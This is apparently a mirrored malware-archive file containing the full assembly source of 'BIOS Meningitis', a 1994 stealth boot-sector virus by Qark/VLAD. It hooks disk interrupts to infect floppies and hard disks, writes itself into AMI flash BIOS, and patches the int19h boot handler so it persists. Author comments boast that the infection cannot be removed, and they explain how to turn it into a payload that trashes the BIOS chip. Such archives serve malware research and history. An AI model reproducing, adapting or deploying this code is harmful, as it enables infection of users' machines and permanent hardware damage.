mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
468 lines
12 KiB
NASM
468 lines
12 KiB
NASM
;.........................................................................
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;
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; -=[ BIOS Meningitis ]=-
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; Qark/VLAD
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;
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;
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; Basic boot sector virus with a twist.
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;
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; The worlds first flash BIOS infecting virus!
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;
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; I _just_ fit all this into 512 bytes. Infact there is only four bytes
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; spare... there wasn't even enough room for the name! It used to copy
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; the partition table to the end of the virus but that is 64 bytes that
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; just couldn't spared, so now you if you boot from a floppy disk, the
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; hard disk won't be accessible. But it's a full stealth virus apart
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; from that.
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;
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; If you have flash BIOS on your computer there is a chance it will fuck
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; it up! I'm talking wiped BIOS chip type fucked! You WONT be able to
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; remove this virus!!!
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;
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; The results of any tests of this with flash BIOS would be appreciated.
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;
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; Assemble with A86 as always.
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;
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;.........................................................................
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;On entry to the boot sector DL=Drive booted from.
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org 0
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mov si,7c00h
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xor ax,ax
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mov es,ax
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cli
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mov ss,ax ;Setup the stack
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mov sp,si
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sti
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mov ds,ax ;DS,CS,ES,SS=0
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;*** 40:[13] - memory in k's - reduce by one or so ***
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dec word ptr [413h] ;0:413 = Memory in K, Sub one K.
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int 12h ;Get memory into AX
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;Since memory is in K we have to
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;multiply by 1024. To do that we
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;would SHL AX,10. But because we are
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;looking for the segment that takes
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;4 bits off the equation.
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mov cl,6
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shl ax,cl ;Thus SHL AX,6
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mov es,ax ;ES = Virus Segment
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;*** read virus sector into TOM (top of memory) ***
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xor di,di
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mov cx,200h
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cld
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rep movsb ;Move virus to ES:0
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mov ax,word ptr [13h*4] ;Get int13h from vector table.
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mov word ptr es:[offset i13],ax
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mov ax,word ptr [13h*4+2]
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mov word ptr es:[offset i13+2],ax
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mov word ptr [13h*4],offset handler
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mov word ptr [13h*4+2],es
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already_resident:
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push es
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mov ax,offset restart
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push ax
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retf
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Restart:
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;Load the original bootsector from the end of the root directory and
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;execute it.
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xor ax,ax
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call int13h
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xor ax,ax
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mov es,ax
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mov bx,7c00h ;Where it's meant to be.
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mov cx,2 ;Read HD boot strap from MBR.
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xor dh,dh
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mov ax,201h ;Read one sector from root directory.
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cmp dl,80h
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jae MBR_Loader
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;load up floppy
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mov cl,14 ;Cylinder=0, Sector=14
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mov dh,1 ;Head=1
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MBR_Loader:
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call int13h
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push dx ;DL=Drive we are at.
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cmp byte ptr cs:flash_done,1 ;flash is already infected.
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je flash_resident
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call flash_BIOS ;Infect flash BIOS if any.
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Flash_resident:
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pop dx
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db 0eah ;JMPF 0000:7C00H
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dw 7c00h
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dw 0
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Stealth:
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mov cx,2
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mov ax,201h
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cmp dl,80h
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jae hd_stealth
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mov cl,14
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mov dh,1
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hd_stealth:
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call int13h
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jmp pop_exit
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res_test:
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xchg ah,al
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iret
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Handler:
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cmp ax,0abbah
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je res_test
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cmp ah,2 ;Reading the first sector ?
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jne jend
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cmp cx,1
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jne jend
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cmp dh,0
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jne jend
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try_infect:
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call int13h
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jc jend
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pushf
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push es
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push ds
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;Test if already infected.
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cmp word ptr es:[bx + offset marker],'LV'
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je stealth ;Already infected.
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cmp dl,80h ;C:
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jb infect_floppy
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mov cx,2 ;Sector 2 - Empty MBR space.
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xor dh,dh
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jmp write_virus
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Infect_Floppy:
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;Store at end of root directory for floppy drives.
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;(Will fuck up on 360k but I dont give a shit!)
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mov cx,14 ;Cylinder=0, Sector=14
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mov dh,1 ;Head=1
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Write_Virus:
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;Write original boot sector to spare room.
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mov ax,301h
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call int13h
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jc pop_exit
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;The virus is written at this point.
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push cs
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pop es
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mov byte ptr cs:flash_done,0
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xor bx,bx
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mov ax,301h ;Write virus.
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mov cx,1
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xor dh,dh
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call int13h
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Pop_Exit:
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pop ds
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pop es
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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retf 2
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jend:
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db 0eah ;Stands for Jmpf
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i13 dd 0 ;The original int13h
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Int13h proc near
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pushf
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call dword ptr cs:[i13]
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ret
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Int13h endp
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Marker db 'VLAD' ;Running out of room so small
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;marker.
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Flash_BIOS Proc Near
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; Flash BIOS infection (c) 1994 Qark/VLAD!
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;Disclaimer: If any of this wrecks your computer that's your bad luck
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;because you know this is dangerous code.
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;I just hope that AMIFLASH is loaded at boot and isn't a driver. Since it's
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;written by a BIOS maker you'd think so...
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mov ax,0e000h ;Get flash BIOS number.
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int 16h ;Test for its presence.
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jc no_flash_bios
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cmp al,0fah ;<-- gotta test this
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jne no_flash_bios
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Infect_Flash:
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;We are now working with AMIFLASH!
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;First we'll find a nice place to store our virus.
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; We'll scan between F000-FFFF where BIOS is normally stored for
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; a 1K chunk of consecutive zeros. (We might only need half a K
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; but I'm overplanning)
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mov ax,0f000h ;ROM BIOS segment
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mov ds,ax
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New_segment:
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xor si,si
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xor dx,dx
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ok_new_segment:
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inc ax
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mov ds,ax
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cmp ax,0fff0h ;No room for our virus.
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je no_flash_BIOS
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Test16:
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cmp word ptr [si],0 ;Scan words
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jne new_segment
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inc dx ;DX is our free room counter.
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cmp dx,512 ;1024 byte buffer found (512x2)
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je found_storage
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inc si
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inc si ;Coz we are messing with words.
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cmp si,16 ;We are going up in paragraphs.
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je ok_new_segment
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jmp test16
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Found_storage:
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sub ax,40h ;Sub 1K (40hx16=1024)
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mov ds,ax ;Coz we are using segments
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mov ax,0e001h ;Chipset save requirement.
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int 16h
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;BX=Number of bytes to Save Chipset.
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cmp bx,512
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jbe save_chipset
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;We won't bother saving the chipset because it takes up more room
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;than our virus buffer can store. Fuck em :)
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mov byte ptr cs:chipset,1 ;Indicate we haven't saved anything.
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jmp write_enable
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No_Flash_BIOS:
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ret
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save_chipset:
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mov byte ptr cs:chipset,0 ;We've saved stuff.
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mov al,2
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push cs
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pop es ;ES=CS
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mov di,offset buffer
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int 16h ;Chipset Status to ES:DI
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write_enable:
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mov al,5
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int 16h ;Raise Voltage (this may take time).
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mov al,7 ;Flash Write Enable.
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int 16h
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;Flash Memory is now writable. I am working on nothing here
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;so I'll assume you just write to it normally and it'll be
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;put there. If you were into writing destructive payloads
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;this would be the mother of them all. Just load CX with 0ffffh
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;to trash their computer. Also, leaving the computer in this
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;state for extended periods could cause damage (Dunno ? Their
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;electricity bill would go up at least :)
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push ds
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pop es ;DS=ES=Place to put virus.
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xor di,di
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mov cx,512 ;<-- FFFF = trouble!
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push cs
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pop ds ;DS=CS
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xor si,si
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cld
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rep movsb ;Move our virus into BIOS.
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;Hopefully our virus is written ?
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;Ok, I looked into this carefully. At bootup int19h points
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;into the BIOS but thereafter is grabbed by various programs
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;(Dunno why, its the shittiest interrupt out). So, if you debug
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;right now it'll point into some shadowed area or else into
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;segment 70h, but it won't at bootup which is the only time boot
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;sector viruses get executed so all is cool.
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;What we'll do is modify the actual bytes at the entry point to
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;the interrupt. You might think I should do something else but
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;I can't think of any other way of hooking an interrupt at bootup.
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;Priest-P/S reckoned I should just store my virus in the Flash
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;and let the bootvirus just jump to it or something but then
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;it's not really infected methinks. He also suggested I just modify
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;the int13h entry point and restore the bytes etc. Well as you can
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;see from the involved code needed just to write to flash I think
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;that with a common interrupt like int13h it isn't feasible.
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;Get Segment:Offset of original int19handler
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mov bx,es ;BX=Virus Segment
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xor ax,ax
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mov ds,ax ;DS=Vector Table.
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mov di,word ptr [19h*4] ;Offset of int19h
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mov es,word ptr [19h*4+2] ;Segment of 19h
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;Write a JMP FAR at the int19h entry point.
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mov al,0eah
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stosb
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mov ax,offset int19handler
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stosw
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mov ax,bx
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stosw ;Creates a JMPF INT19HANDLER at the
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;int19h entry point.
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mov ax,0e004h ;Lower Voltage.
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int 16h
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mov al,6 ;Write Protect.
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int 16h
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cmp byte ptr cs:chipset,0
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jne No_Flash_BIOS ;We've done for this one.
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push cs
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pop es ;ES=CS
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mov al,3
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mov di,offset buffer ;Restore all their shit.
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int 16h
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jmp no_flash_bios
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chipset db 0 ;1=chipset not saved
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flash_done db 0 ;1=loaded from flash.
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;This is our own int19h handler. The original sux because it isn't infected.
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;(Strange logic :)
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Int19Handler Proc Near
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xor ax,ax
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mov es,ax ;ES=0
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mov ax,0abbah ;ABBA - from Muriels Wedding.
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int 13h
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cmp ax,0baabh ;BAAB - I like these.
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jne real_int19h
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;We are currently before the boot here. Lets install our virus before
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;any boot sectors or anything get loaded.
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push cs ;DS=0
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pop ds
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cld
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xor si,si
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mov di,7c00h
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mov cx,512
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rep movsb ;Move our virus from BIOS into boot buffer.
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mov dl,80h ;Make it think its C:
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jmp goto_Buffer ;Execute it.
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real_int19h:
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xor ax,ax
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int 13h ;Reset disk
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mov cx,1
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mov dh,0
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mov ax,201h
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mov bx,7c00h
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cmp dl,0
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ja hd_int19h
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int 13h ;Read boot sector.
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jc fix_hd
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Goto_Buffer:
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mov byte ptr es:[7c00h+offset flash_done],1
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db 0eah ;JMPF 0000:7C00
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dw 7c00h
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dw 0
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Fix_HD:
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mov dl,80h ;Boot from C:
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HD_Int19h:
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xor ax,ax
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int 13h ;Reset controller.
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mov ax,201h
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int 13h
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jc fucked_boot
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jmp Goto_Buffer
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Fucked_boot:
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int 18h ;Called when a boot fucks up
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Int19Handler EndP
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Flash_BIOS EndP
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End_Virus:
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DupSize equ 510 - offset End_Virus
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db DupSize dup (0)
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db 55h,0aah ;End of Sector Marker.
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Buffer: ;512 bytes of storage space in here.
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